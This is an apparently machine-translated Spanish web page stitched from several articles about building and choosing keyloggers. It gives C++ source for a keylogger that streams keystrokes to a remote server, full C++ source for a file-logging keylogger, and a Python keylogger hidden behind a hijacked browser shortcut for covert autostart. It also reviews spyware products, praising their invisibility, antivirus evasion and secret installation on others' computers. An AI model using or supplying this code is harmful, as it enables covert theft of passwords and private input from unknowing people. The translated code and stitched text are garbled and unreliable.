Laboratorio de Seguridad de la Información.                Laboratorio de Seguridad de la Información ¿Cuánto tiempo tomó?


Y antes de empezar a leer, echa un vistazo a mi blog, donde publico mis artículos originales sobre programación, virología y otras cosas interesantes.
Artículo original -

Toda la información se proporciona únicamente con fines informativos. Ni la administración ni el autor son responsables de ningún posible daño causado por los materiales de este artículo.


Prefacio
Durante aproximadamente un mes, observé constantemente varias solicitudes y preguntas sobre los keyloggers. Muchos buscaron, pero no pudieron encontrar el código fuente, muchos buscaron, pero los vendedores no pudieron encontrarlo, etc.

En este artículo quiero mostrar lo fácil que es escribir tu propio keylogger con funcionalidad básica. Tomé prestada la base de aquí. * * , corrigió errores y lo modificó para interactuar con WinSocket.

Materiales
  • Actualización 4 de la comunidad de Visual Studio 2015
  • VisualC++2015
Estructura de la aplicación
Primero, necesitas determinar cómo funcionará el keylogger en general. Ya sea enviando registros a FTP/Mail, registrando clics en un socket, enviando un archivo a una puerta, escribiendo registros en una base de datos.
Decidí seguir con los enchufes. ¿Por qué? Es conveniente, simple y utilizable.
Según la elección, necesitaremos realizar 2 aplicaciones:

Servidor
  • Aplicación de consola que recibirá datos del cliente y los generará en la consola.
Cliente
  • En realidad, el registrador de teclas en sí, que enviará las pulsaciones de teclas al servidor.
Y comenzaremos, quizás, con el servidor.

Servidor
Cree una aplicación de consola C++ en Visual Studio.
Todo el código está en la oficina. Ejemplo de MSDN - *Inicie sesión en el foro para ver enlaces. *
Sólo necesitamos reemplazar algunos valores en él...
Anotemos inmediatamente las variables constantes: el tamaño del búfer y el puerto del servidor al que se enviarán los registros.

Código:

#define DEFAULT_BUFLEN 1024 //Búfer #define DEFAULT_PORT "1337" //Puerto

En lugar de hacer/mientras una sola vez, configuramos un bucle sin fin en el que recibiremos datos del cliente, los enviaremos a la consola, cerraremos la conexión y lo volveremos a hacer:

Código:

Do ( ClientSocket = aceptar(ListenSocket, NULL, NULL); // Aceptar la conexión iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); // Leer el registro si (iResult > 0) // Si el registro no está vacío printf("% s", recvbuf); //Salida closesocket(ClientSocket);//Cerrar la conexión memset(recvbuf, 0, sizeof recvbuf);//Liberar memoria) while (true);

Compilamos para Release, lo subimos a Dedik, abrimos el puerto que necesitamos y lanzamos

Cliente


Cree una aplicación Win32 en Visual Studio.
Como dije anteriormente, tomé el gancho del teclado y el controlador de clic de *Inicie sesión en el foro para ver enlaces. *
Para asegurar el envío de clics al socket, recurrí a *Inicie sesión en el foro para ver enlaces. *
Además, definimos inmediatamente variables constantes: longitud del buffer, IP de Dedik/computadora y puerto.

Código:

#define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337"

Algunas variables tuvieron que ser eliminadas de sus métodos y globalizadas para que el código comenzara a funcionar correctamente:

Código:

WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char última ventana; int Save(int key_stroke);// Se eliminó el segundo argumento

Creamos un método para enviar datos al servidor siguiendo el ejemplo del principio del párrafo. A continuación, reemplazamos en todas partes el puerto, la IP y la información transmitida con argumentos de función:

Código:

Enviar datos vacíos (char *ip, char * puerto, char*data)

En el método Guardar, hacemos lo siguiente: eliminamos el segundo argumento y cambiamos la grabación de registros a un archivo para enviar al servidor:

Código:

datos carbonizados; sprintf(datos, "\n\n\n", título_ventana, s); enviarDatos(SERVIDOR_IP, SERVIDOR_PORT, datos);

A continuación, utilizando el mismo principio, cambiamos el envío de pulsaciones de teclas del servicio. Puedes enviar cartas de esta manera:

Código:

carácter c; sprintf(c, "%c", pulsación de tecla); enviarDatos(SERVIDOR_IP, SERVIDOR_PORT, c);

Eliminamos del código todo lo relacionado con la visibilidad de la ventana y listo.

Línea de fondo
Cuando se inicia el keylogger, se bloqueará en los procesos y procesará cada pulsación de tecla. Es posible que algunos caracteres se muestren incorrectamente, por ejemplo, barras, pero todo esto lo puedes corregir tú mismo (después de todo, si todo fuera perfecto, Jesús llamaría a mi PM pidiéndome que verificara al vendedor del registrador de teclas privado).

Se necesitan varios programas espía en condiciones en las que muchas personas tienen acceso a una computadora.

En estas condiciones, el usuario puede querer saber qué sitios fueron visitados desde su computadora (por ejemplo, por niños), si se produjo un robo desde tarjetas de crédito utilizando contraseñas guardadas, etc., necesitará aclarar estos problemas.

Nuestra revisión le permitirá tomar la mejor decisión.

Características de elección

¿Qué es exactamente un registrador de teclas? Este es un programa que, estrictamente hablando, no está directamente relacionado con el teclado.

Se instala en la memoria de la computadora y actúa en consecuencia. A menudo, los signos de su actividad no son visibles en la computadora a menos que los busque específicamente.

Dicho programa interactúa indirectamente con el teclado, es decir, funciona con un programa en la PC que convierte las señales recibidas por el procesador como resultado de presionar botones en texto al imprimir.

Es decir, la acción de dicho software tiene como objetivo recopilar información ingresada a través del teclado.

Existen tales utilidades diferentes tipos– con la ayuda de algunos puedes ver todo el texto escrito desde el teclado, con otros – solo lo que se escribió en el navegador o en cualquier aplicación seleccionada.

Algunos programas ofrecen la posibilidad de configurar dichos indicadores, otros no.

También se diferencian entre sí por el grado de secreto. Por ejemplo, la actividad de algunos es obvia, queda un acceso directo en el Escritorio, etc., como Los programas son adecuados para monitorear las actividades de, por ejemplo, los niños.

Los rastros de la presencia y actividad de otras personas no se notan en absoluto: actúan de forma oculta y son adecuados para su instalación en la computadora de otra persona, cuando el hecho de la instalación debe ocultarse a un tercero.

Dada tal diversidad, elegir el software más adecuado puede resultar bastante difícil.

Este material presenta el TOP mejores programas, que se puede utilizar para este propósito. Es más fácil elegir el adecuado entre ellos.

Especificaciones

Para simplificar el proceso de selección software La siguiente tabla muestra las principales características comparativas de todos los programas incluidos en el TOP.

NombreTipo de licenciaTipo de información recopiladaFuncionalDiseño
SC-KeyLogGratisTodoAnchoSimplificado
Registrador de teclas práctico WideStepGratis/PagoTodoAnchoMejorado
Espía realPagadoTodoMuy anchoEstándar
EliteKeyloggerPagadoTodoAnchoEstándar
¡La rata!Gratis/PagoMenos que el anteriorBastante anchoantiestético
SPYGOGratisDependiendo de la versiónDependiendo de la versiónApariencia estándar de Windows
Registrador de teclas Ardamax 2.9GratisDesde el tecladoEstrechadoSimplificado
Monitor personal NS Keylogger 3.8GratisTodoEstrechadoSimplificado
Espía de la KGBPagadoDesde el teclado + programas abiertosAngostoSimple
Registrador de teclas dorado 1.32GratisDesde el tecladoMuy estrechoSimple

Según las características de esta tabla, es fácil elegir el programa que mejor se adapte a sus necesidades específicas.

Estas utilidades se describen con más detalle a continuación.

SC-KeyLog

Este es un programa espía voluminoso y funcional que se distribuye de forma gratuita.

Además de rastrear específicamente la información ingresada desde el teclado, también puede recopilar direcciones de sitios visitados, contraseñas y ventanas abiertas del navegador.

Proporciona información completa sobre todas las acciones realizadas en la computadora. En este caso, el archivo generado se puede visualizar de forma remota desde otro dispositivo.

  • Oportunidad acceso remoto a un archivo de otro dispositivo;
  • No hay rastros de actividad del programa en la computadora con la configuración correcta;
  • Variedad de datos recopilados: se puede acceder a información sobre casi todas las acciones en la PC.
  • Guarda contraseñas sólo hasta NT0;
  • Menú demasiado sencillo y diseño poco estético;
  • Un formato bastante inconveniente para mostrar el resultado.

¿Qué dicen los usuarios que utilizan activamente este software? “Absolutamente invisible para el usuario”, “Los datos llegan periódicamente por correo electrónico”.

Registrador de teclas práctico WideStep

Esta aplicación se distribuye de forma gratuita. La versión paga completa cuesta $35.

Un programa bastante interesante y funcional que vale la pena si estás dispuesto a pagarlo.

Rasgo distintivo– la capacidad de enviar datos grabados a una frecuencia específica. Por lo demás, funciona bien y suele ser más estable que otros programas de esta lista.

  • Recopilación de diversos tipos de información;
  • Completa invisibilidad del trabajo en la computadora del usuario;
  • Interfaz y controles simples.
  • El diseño es mejor que el programa anterior, pero aún no es excelente;
  • El formato de visualización de resultados es inconveniente;
  • La versión paga es bastante cara.

Las opiniones de los usuarios sobre este software son las siguientes: “Programa cómodo, sencillo y funcional. Bastante invisible cuando se trabaja”.

Espía real

Este es un programa pago funcional y complejo que cuesta 600 rublos. Sin embargo, tiene una versión demo que es gratuita.

Característica de este software– capacidad en un período de tiempo determinado.

Esto ayuda a resolver el problema de ingresar una contraseña/clave gráfica, que recientemente se ha generalizado.

  • Se recopilan muchos tipos de información además de la posibilidad de tomar capturas de pantalla de la pantalla durante un período específico;
  • Un gran número de otros funciones adicionales y características;
  • Registra no sólo las acciones, sino también el momento en que se realizaron;
  • Cifra el registro generado.
  • La duración del trabajo (recopilación de información) en la versión demo gratuita es de 40 minutos;
  • Distribución pagada, aunque a un precio más o menos razonable;
  • El peso del programa es bastante grande.

Comentarios de usuarios sobre esta aplicación son: “El programa es excelente. ¡Bien hecho programadores!

EliteKeylogger

Programa pago con un precio bastante elevado.– 69 dólares. Funciona de manera completamente indetectable en una PC en modo de bajo nivel, lo que lo hace casi completamente indetectable.

Característica interesante y conveniente– inicio automático del software, que se produce simultáneamente con el inicio del propio sistema.

Es difícil de detectar o no se detecta en absoluto, incluso con anti-keyloggers especiales.

  • Acción completamente oculta y difícil de detectar;
  • Formato operativo tipo controlador de bajo nivel e inicio automático cuando se inicia el sistema;
  • También realiza un seguimiento de las pulsaciones no solo de las teclas principales, sino también de las de servicio del teclado.
  • Suficiente un sistema complejo instalar el programa en una PC;
  • El programa es caro, pero puedes encontrar una versión antigua pirateada en la Internet rusa;
  • Un sistema bastante complejo de configuración de programas individuales, que, sin embargo, se justifica.

¿Qué dicen los usuarios sobre este software? " Buen programa", "Un poco menos que Jetlogger".

¡La rata!

Una utilidad funcional bastante común y popular con una licencia paga.

Sin embargo, para uso privado se ofrece una versión demo gratuita durante un período limitado.

El programa es muy simple.– cualquier usuario avanzado puede escribir lo mismo. Sin embargo, es completamente indetectable por los antivirus y programas especiales, detectando dicho software.

  • Sencillez, funcionalidad y alta estabilidad;
  • Peso mínimo del archivo y espacio que ocupa en la computadora;
  • Bastantes configuraciones.
  • Un diseño bastante desagradable, realizado en negro, blanco y rojo;
  • La funcionalidad es algo más limitada que en los programas descritos anteriormente;
  • Visualización incómoda del registro y, en general, interfaz y uso incómodos.

Los usuarios dicen lo siguiente sobre este programa: "Funciona de manera estable, pero un poco simple", "El programa es bueno, te permite recopilar datos sin que te des cuenta".

SPYGO

Este es un keylogger fundamentalmente nuevo, diseñado para funcionar y desarrollado por un programador ruso.

Publicado el 18 de enero de 2015. ¿Dónde?" No es necesario buscar formas sencillas, especialmente en Internet :). Descargar el registrador de teclas gratis puedes, pero prepárate para varias restricciones o sorpresas. En primer lugar, la funcionalidad del keylogger será baja. Demostraciones gratuitas programas completos suelen contener restricciones, a veces inesperadas :). En segundo lugar, no habrá registradores de teclas adicionales que normalmente lo acompañan. programas adicionales o funciones de procesamiento de registros, configuraciones de seguimiento, etc. En tercer lugar, no encontrará soporte para keyloggers por parte de los fabricantes. En lugar de mirar hacia donde descargar el registrador de teclas gratis, ¿piensas en escribirlo tú mismo? lo más simple registrador de teclas para Windows No es muy difícil escribir si tienes los conceptos básicos de programación de Windows. Entonces, continuamos publicando las fuentes del keylogger. Registrador de teclas para Windows escrito en C++, naturalmente usando la API de Win. El enlace de clave se implementa utilizando SetWindowsHookEx(WH_KEYBOARD_LL,...). Se crea un archivo ejecutable sin una biblioteca dll, por así decirlo, ¡un keylogger en un solo archivo! Las ventajas son obvias: es más fácil de organizar instalación remota, menor tamaño, mayor secreto (la dll no se bloqueará en los procesos de todas las aplicaciones). La desventaja de este método de interceptación es que es inestable o, en general, se niega a funcionar en Windows 7. Interceptar claves sin utilizar una DLL (WH_KEYBOARD_LL) provoca malentendidos entre los siete. Tienes que usar chamanismo y magia para que el keylogger funcione. Por supuesto, siempre hay una salida (búscala tú mismo y que la fuerza te acompañe :)). También puedes escribir uno normal usando SetWindowsHookEx (WH_KEYBOARD_LL,...). Todo estará bien en Windows 7. Aún no se sabe cómo funcionará WH_KEYBOARD_LL en Windows 8.

El registro se organiza a través de una secuencia de archivos. Se agregaron algunas cosas para mejorar la legibilidad del registro. El código es pequeño y eficiente. Adecuado para un keylogger para windows con ciertos aditivos y la pregunta es donde puedo descargar el registrador de teclas gratis desaparece.

Archivo fuente *.exe:

#incluir< windows.h >#incluir< fstream >#incluir< iostream >#incluir< algorithm >#incluir< string >usando el espacio de nombres estándar; cadena miClave; BOOL esCaps(); char logName = "keys.txt";//NOMBRE DEL ARCHIVO DE REGISTRO //inicia todas las variables para la velocidad Mensaje MSG; Gancho para teclado HHOOK; char claveNombreBuff; PKBDLLHOOKSTRUCTp; int sin firmar sc; //keylogger para Windows void writeToLog(string s) //escribe una cadena en el registro ( ofstream log(logName, ios::app); //abre el archivo de registro log<< s; //writes to log.. with format "[""]" log.close(); //closes log } // Кейлоггер для Windows BOOL isCaps() { if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0 || ((GetKeyState(VK_SHIFT) & 0x8000)!=0)) { return 1; } else { return 0; } } // Кейлоггер для Windows LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)//proc to be run on hooked key { if (wParam == WM_KEYDOWN)//if key event type is key down { //get the keyname from lParam p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode sc = MapVirtualKey(p->vkCode, 0); Carolina del Sur<<= 16; //shift 16 bits if (!(p->Código vk<= 32))//if not ascii { sc |= 0x1 << 24; // <- extended bit } GetKeyNameTextA(sc,keyNameBuff,16); // Кейлоггер для Windows - исходник //gets ASCII key name from sc into keyNameBuff //write keyname to log myKey = keyNameBuff; if (myKey == "Space") { writeToLog(" "); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } // if its none of the special keys else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } return CallNextHookEx(NULL, nCode, wParam, lParam); } // Кейлоггер для Windows void msgLoop() { while (GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); } } // Кейлоггер для Windows int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); //hooks keyboard msgLoop(); //stops from closing // Кейлоггер для Windows - исходник UnhookWindowsHookEx(keyboardHook); //unhooks return 0; //Never run }

Puede utilizar cualquier entorno de desarrollo que desee (Dev-C++, MSVS, Borland C++). Recopilamos, realizamos los cambios individuales necesarios yregistrador de teclas para WindowsPrepárate y dedica tiempo a buscar dónde puedasdescargar

Hola, residentes de Khabrovsk.

Decidí escribir un registrador de teclado de software en C++ usando WinAPI. No puedo decir que estuviera persiguiendo algún tipo de objetivo de espionaje cuando lo escribí; más bien, me estaba familiarizando con los ganchos de WinAPI. Como no resultó tan malo y no hay ningún artículo en Habré sobre registradores de software, decidí escribir el mío propio.

¿Cómo se hace esto?

Se utilizó un gancho de teclado para capturar las pulsaciones de teclas.

HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

Para interceptar todas las pulsaciones de teclas del teclado, es conveniente especificar WH_KEYBOARD o WH_KEYBOARD_LL como parámetro idHook. La única diferencia es que WH_KEYBOARD_LL también intercepta las pulsaciones de teclas del sistema (es decir, Alt o cualquier tecla mientras se mantiene presionada Alt), por lo que la seleccionaremos.

Lpfn es un puntero a una función que procesa mensajes interceptados (en nuestro caso, pulsaciones de teclas).
hMod es un identificador de instancia de aplicación que contiene una función de procesamiento.
dwThreadId es el identificador del hilo cuyos mensajes queremos interceptar. Este parámetro debe establecerse en 0 para interceptar mensajes de todos los hilos.

El valor de retorno es un identificador de nuestro gancho, que deberá liberarse con la función UnhookWindowsHookEx al salir.
Al buscar ayuda en MSDN, vemos un prototipo de una función que procesa mensajes desde este enlace.

LLAMAR DE RESULTADO LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

nCode debe ser igual a HC_ACTION; de lo contrario, el mensaje se entrega a otro proceso.
wParam es uno de los siguientes valores: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN o WM_SYSKEYUP.
lParam es un puntero a la estructura KBDLLHOOKSTRUCT, en cuyos campos solo nos interesan 2 parámetros: vkCode (código virtual) y scanCode de la tecla presionada.
Esta función debe devolver el valor de la función CallNextHookEx; de lo contrario, el siguiente enlace que procesa el evento puede recibir parámetros de mensaje incorrectos.
Cada vez que se presiona una tecla, nuestro programa interceptará este evento y lo procesará con nuestro procedimiento LowLevelKeyboardProc.

Para volver a traducir el código virtual y de escaneo de una clave a forma simbólica, necesitamos la función ToAsciiEx.

Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwhkl);

Los primeros 2 parámetros son los códigos virtual y de escaneo de la clave, respectivamente.
lpKeyState: estado del teclado, verifica qué teclas están presionadas/activas.
lpChar es un puntero a una palabra doble en la que la función escribirá la representación simbólica de la clave.
uFlags es un parámetro que indica la actividad del menú.
dwhkl: identificador de distribución del teclado.
El valor de retorno es el número de caracteres escritos en el búfer lpChar. Nos interesa el caso en el que se escribe 1 carácter.
Básicamente, estas son las 3 funciones principales necesarias para el registrador de teclado más simple.

Un poco sobre el programa.

El programa se compila sin RTL en Visual Studio 2013. Por lo tanto, obtenemos un tamaño pequeño del archivo ejecutable y la imposibilidad de compilarlo en la versión de depuración. Los datos se escriben en un archivo de registro en el mismo directorio donde se encuentra el archivo .exe. Para mayor comodidad, el registrador crea un nuevo archivo cada vez que graba, registra el tiempo de pulsación de teclas, el nombre de la ventana en la que se ingresaron los caracteres y se detiene presionando LSHIFT+RSHIFT. Este rastreador no está adaptado para un teclado completo; algunas teclas de servicio, como F13 o NUM_LOCK, se pueden escribir como . Creo que aquellos que estén al menos un poco familiarizados con C/C++ pueden agregarlos fácilmente. Además, puedes cambiar completamente el código a tu medida.

Hola, QUAZAR está aquí nuevamente. Hoy te mostraré cómo crear un registrador de teclas simple en Python. Por supuesto, este keylogger no puede competir con gigantes como este, pero a pesar de ello, puede encontrar su uso.

¿Qué es un registrador de teclas?

Puedes leer en detalle sobre qué es un keylogger y sobre los tipos de keyloggers en el artículo ““. Para encontrar materiales adicionales sobre el tema, utilice la búsqueda del sitio, que se encuentra en la esquina superior derecha. Simplemente ingrese la palabra "keylogger" o "keylogger".

Registrador de teclas simple en Python

Para crear un keylogger necesitamos:

  • Sistema operativo: Windows o MacOs (también se puede utilizar cualquier Linux, pero no lo he probado personalmente)
  • Python instalado en la máquina de destino, así como bibliotecas especiales.

Este material es sólo para fines informativos. La información presentada en este artículo se proporciona únicamente con fines informativos. Ni los editores del sitio web www.site ni el autor de la publicación asumen ninguna responsabilidad por los daños causados ​​por el material de este artículo.

Creando un registrador de teclas simple en Python

Primero necesitas descargar e instalar Python.


Registrador de teclas simple en Python

Después de instalar Python, debe instalar los módulos "pyHook" y "pywin32". En este sitio encontrará versiones de 32 y 64 bits para Windows y otros sistemas operativos. Descargue "PYhook" y "pyWin32" según su versión instalada de Python y Windows (32 bits o 64 bits).


Registrador de teclas en Python. Módulo PYhook Keylogger en Python. módulo pyWin32

Una vez descargado, instale y abra el menú IDLE (Python GUI) desde el menú Inicio.

Registrador de teclas simple en Python

Vaya al menú "Archivo" y haga clic en el elemento "Nuevo archivo". Luego pegue el código del keylogger:

#Nombre: CUAZAR
#Sitio web: www.sitio
importar pyHook, pythoncom, sys, registro
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent(evento):
logging.basicConfig(nombre de archivo=file_log, nivel=logging.DEBUG, formato="%(mensaje)s")
chr(evento.Ascii)
registro.log(10,chr(evento.Ascii))
devolver verdadero
ganchos_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
ganchos_manager.HookKeyboard()
pythoncom.PumpMessages()

Y guárdelo llamando al archivo Keylogger.pyw. Simplemente no guarde el archivo en el directorio raíz C: donde necesita derechos de administrador para copiar y eliminar archivos. Cree una nueva carpeta en su unidad C: o en alguna otra ubicación donde no necesite derechos de administrador para copiar archivos y guardar Keylogger.pyw allí.

Puede seleccionar cualquier ubicación como archivo de informe de salida “file_log = “C:keyloggerlog.txt”, pero preferiblemente, por supuesto, alguna ubicación oculta en su disco duro. En este ejemplo, guardaré el archivo del informe en el disco en el directorio raíz C:. Después de todo, no tengo nada que ocultar.

Lanzamiento automático de un keylogger en Python

El registrador de teclas está listo. Ahora debemos asegurarnos de que el registrador de teclas se inicie de forma oculta para el usuario y automáticamente cuando se inicia Windows. Esto se puede implementar de diferentes maneras. Intentemos hacerlo usando un archivo bat vinculando el inicio del keylogger a algún programa o registrándolo al inicio.

Primero, crea un archivo bat. Copie y pegue el siguiente código en el Bloc de notas:

::Nombre: CUAZAR
::Sitio web: www.sitio
@eco apagado
iniciar "" "C:keyloggerkeylogger.pyw"
iniciar "" "C:Archivos de programaOperalauncher.exe"

En la primera línea debes ingresar la ruta al archivo keylogger.pyw (en mi caso “C:keylogger.pyw”). En la segunda línea debes ingresar la ruta al programa que el usuario utiliza habitualmente (en mi caso, el navegador Opera).

Después de editarlo, guarde el archivo con una extensión .bat (en mi caso logger.bat) en alguna ubicación oculta de su computadora (en mi caso en “C:keylogger.bat”).

Ahora vaya al escritorio y seleccione un acceso directo a un programa de uso frecuente (en mi caso, este es el navegador Opera). Haga clic con el botón derecho del mouse para abrir el menú contextual e ir a las propiedades del acceso directo. En el campo "Objeto", ingrese la ruta al archivo bat del keylogger "C:keyloggerlogger.bat".

Después de realizar cambios, el ícono de acceso directo también cambiará. Pero esto se puede resolver fácilmente en la pestaña de propiedades (ver captura de pantalla arriba).

Publicaciones sobre el tema.